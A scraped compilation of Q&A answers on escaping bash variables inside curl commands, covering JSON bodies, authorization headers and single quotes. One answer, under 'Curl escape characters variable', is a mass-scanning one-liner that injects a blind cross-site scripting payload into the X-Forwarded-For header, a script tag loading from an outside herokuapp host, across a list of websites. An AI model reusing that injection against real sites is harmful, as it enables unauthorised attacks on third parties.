Escape Variable in Bash Script Curl Request

escape variable in bash script curl request

Use below script.

https://aaa.com' -H 'Content-Type: application/json' -d '{"msgtype": "text", "text": {      "content": '"'$var1'"'   }}'

Curl escape characters variable

I figured it out:

cat websatt.txt | xargs -n1 -P8 bash -c 'a=`echo "$0" | cut -d "/" -f 3`;  echo $a;curl --path-as-is -ks -x http://127.0.0.1:8080 -A "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0" "$0/$a" -H "X-Forwarded-For: <script src='https://securitytest090.herokuapp.com/\$a'></script>" -m 4 1>/dev/null'

I had to escape the dollar sign:

-H "X-Forwarded-For: <script src='https://securitytest090.herokuapp.com/\$a'></script>

Thanks

Curl request in bash with authorization how to escape ''

Just use double quotes for the whole string; there's no need for single quotes anywhere in the authorization header's definition at all.

access_token="5e0af6333f03b646f84424a047abef08433d9ed77411b4f4"
get_data=$(curl --location --request GET 'http://100.200.159.79:80/n_clone/' \
-H "Authorization: Bearer $access_token" \
-H 'Content-Type: multipart/form-data; boundary=--------------------------651618584466976849992097')

The only quotes we want here are syntactic ones, used by the shell. When you put quotes inside other quotes, they become literal data, passed to curl. If the remote server doesn't expect literal quote characters in its headers, we don't ever want to pass literal quotes to curl.


By the way, it would be equally valid to use:

-H 'Authorization: Bearer '"$access_token" \

...wherein we have the string Authorization: Bearer in a single-quoted context and then expand $access_token in a double-quoted context; the reason I didn't suggest that above is that Authorization: Bearer expands the same way in single and double quotes, so why use two different contexts when you could have only one?

Curl request - how to escape unrecognized character in Bash

\ is the escape character. It escapes the character that follows. Since the character that follows is 5, it attempts to escape 5. So, you need to escape \ in order to use it as a character, so use \\5.

Rewrite curl so that quotes inside variable are allowed

Based on a comment, credits to @Benjamin W. :

MSG0=`/usr/games/fortune` ; \
MSG1=${MSG0//\"/\\\"} ; \
curl -s -X POST -H 'Content-Type: application/json' --data-binary "{\"chat_id\": \"$CHATID\", \"text\": \"${MSG1}\"}" "https://api.chatter1.com/tok/$TOKEN/Message"

That works perfectly. Maybe we can improve by avoiding a temporary variable.

Thanks.

How do I insert a bash variable into the JSON body of a cURL request?

Like this:

curl $ARGOCD_SERVER/api/v1/session -d '{"username":"admin","password":"'$PASSWORD'"}'

or this:

curl $ARGOCD_SERVER/api/v1/session -d "{\"username\":\"admin\",\"password\":\"$PASSWORD\"}"

this'll probalby works too:

curl $ARGOCD_SERVER/api/v1/session -d "{'username':'admin','password':'$PASSWORD'}"

or:

printf -v data '{"username":"admin","password":"%s"}' "$PASSWORD"
curl $ARGOCD_SERVER/api/v1/session -d "$data"

CURL escape single quote

I had the same problem. The simplest solution is to escape the apostrophe with a backslash in addition to wrapping it in a set of single quotes. '\''

For your use case, change Mary's to Mary'\''s and it should work.

curl -XPOST 'http://localhost:9290/location/place' -d '{"geoloc": {"lat": "38.1899", "lon": "-76.5087"}, "longitude": "-76.5087", "admin_name1": "Maryland", "admin_name2": "St. Mary'\''s", "admin_name3": "", "postal_code": "20692", "admin_code3": "", "country_code": "US", "admin_code1": "MD", "latitude": "38.1899", "admin_code2": "037", "accuracy": null, "place_name": "Valley Lee"}'

An alternate approach is to wrap the POST data (-d) in double quotes while escaping all nested occurrences of double quotes in the JSON string with a backslash.

curl -XPOST 'http://localhost:9290/location/place' -d "{\"geoloc\": {\"lat\": \"38.1899\", \"lon\": \"-76.5087\"}, \"longitude\": \"-76.5087\", \"admin_name1\": \"Maryland\", \"admin_name2\": \"St. Mary's\", \"admin_name3\": \"\", \"postal_code\": \"20692\", \"admin_code3\": \"\", \"country_code\": \"US\", \"admin_code1\": \"MD\", \"latitude\": \"38.1899\", \"admin_code2\": \"037\", \"accuracy\": null, \"place_name\": \"Valley Lee\"}"

How can I use a variable in curl call within bash script

Variables are not expanded within single-quotes. Rewrite using double-quotes:

curl -X POST -H 'Content-type: application/json' --data "{\"text\": \"${message}\"}"

Just remember that double-quotes within double-quotes have to be escaped.

Another variation could be:

curl -X POST -H 'Content-type: application/json' --data '{"text": "'"${message}"'"}'

This one breaks out of the single quotes, encloses ${message} within double-quotes to prevent word splitting, and then finishes with another single-quoted string. That is:

... '{"text": "'"${message}"'"}'
^^^^^^^^^^^^
single-quoted string


... '{"text": "'"${message}"'"}'
^^^^^^^^^^^^
double-quoted string


... '{"text": "'"${message}"'"}'
^^^^
single-quoted string


Related Topics



Leave a reply



Submit